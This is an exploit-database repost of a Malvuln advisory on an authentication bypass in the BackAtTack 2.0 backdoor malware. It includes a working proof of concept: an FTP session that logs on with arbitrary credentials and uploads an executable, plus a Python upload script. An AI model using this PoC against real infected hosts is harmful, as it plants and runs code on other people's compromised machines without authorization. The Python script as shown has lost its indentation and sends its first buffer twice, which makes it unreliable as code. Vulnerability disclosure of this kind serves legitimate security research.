Exploit Collector
Backdoor.Win32.BackAttack.20 Authentication Bypass / Code Execution

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Backdoor.Win32.BackAttack.20 malware suffers from bypass and code execution vulnerabilities.

MD5 | f6246f6defa5fc357e11c1a3628bfbf9

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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/8b484576f928c256277016104cc364c2_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BackAttack.20
Vulnerability: Authentication Bypass RCE
Description: BackAtTack 2.0 By CurrenTChaoSGroup(CCG) by default listens on TCP ports 80 and 11131. The malware features a remote web interface where you can enable its FTP server. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 8b484576f928c256277016104cc364c2
Vuln ID: MVID-2021-0424
Disclosure: 12/11/2021

Exploit/PoC:
nc64.exe 192.168.18.125 21
220 httP://www.CurrenTChaoS.Tk - BackAtTack2.0 ftp server-
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,194,33).
STOR DOOM-SM.exe
150 Opening data connection for DOOM-SM.exe.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.125"
PORT=49697
DOOM="DOOM-SM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("By Malvuln");

if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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